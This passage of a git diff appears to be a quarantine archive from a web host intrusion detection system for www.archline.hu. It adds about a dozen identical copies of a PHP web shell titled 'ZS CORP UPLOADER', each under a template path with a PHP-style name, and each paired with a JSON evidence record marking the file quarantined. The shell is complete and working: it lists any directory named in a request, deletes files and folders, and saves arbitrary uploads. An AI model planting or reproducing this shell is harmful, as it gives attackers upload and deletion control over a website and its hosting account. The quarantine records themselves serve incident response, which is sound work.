+';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php5.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php5.json.evidence.json new file mode 100644 index 0000000..4fa72a0 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2984", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zseqn0yx.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php5.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924406, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zseqn0yx.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phtml.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phtml.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phtml.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phtml.json.evidence.json new file mode 100644 index 0000000..95c3efe --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2978", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zseqn0yx.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phtml.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924406, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zseqn0yx.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.inc.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.inc.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.inc.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.inc.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.inc.json.evidence.json new file mode 100644 index 0000000..c2cea22 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.inc.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2942", + "log_excerpt": "[quarantine] www.archline.hu:templates/zscqyqr7.inc.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zscqyqr7.inc.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925169, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zscqyqr7.inc.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.phar.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.phar.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.phar.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.phar.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.phar.json.evidence.json new file mode 100644 index 0000000..229e809 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2946", + "log_excerpt": "[quarantine] www.archline.hu:templates/zscqyqr7.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zscqyqr7.phar.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925168, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zscqyqr7.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.php.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php.json.evidence.json new file mode 100644 index 0000000..b1bf887 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2940", + "log_excerpt": "[quarantine] www.archline.hu:templates/zscqyqr7.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zscqyqr7.php.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925155, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zscqyqr7.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.php3.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php3.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php3.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.php3.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php3.json.evidence.json new file mode 100644 index 0000000..3ca91b3 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2954", + "log_excerpt": "[quarantine] www.archline.hu:templates/zscqyqr7.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zscqyqr7.php3.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925164, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zscqyqr7.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.php4.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php4.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php4.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.php4.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php4.json.evidence.json new file mode 100644 index 0000000..b5b0842 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php4.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2936", + "log_excerpt": "[quarantine] www.archline.hu:templates/zscqyqr7.php4.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zscqyqr7.php4.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925165, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zscqyqr7.php4.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.php5.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php5.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php5.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.php5.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php5.json.evidence.json new file mode 100644 index 0000000..68403e8 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2952", + "log_excerpt": "[quarantine] www.archline.hu:templates/zscqyqr7.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zscqyqr7.php5.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925166, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zscqyqr7.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.phtml.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.phtml.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.phtml.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.phtml.json.evidence.json new file mode 100644 index 0000000..e10b3e5 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2941", + "log_excerpt": "[quarantine] www.archline.hu:templates/zscqyqr7.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zscqyqr7.phtml.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925167, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zscqyqr7.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.inc.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.inc.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.inc.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.inc.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.inc.json.evidence.json new file mode 100644 index 0000000..8cc746b --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.inc.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2947", + "log_excerpt": "[quarantine] www.archline.hu:templates/zseqn0yx.inc.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zseqn0yx.inc.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925137, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zseqn0yx.inc.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.phar.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.phar.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.phar.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
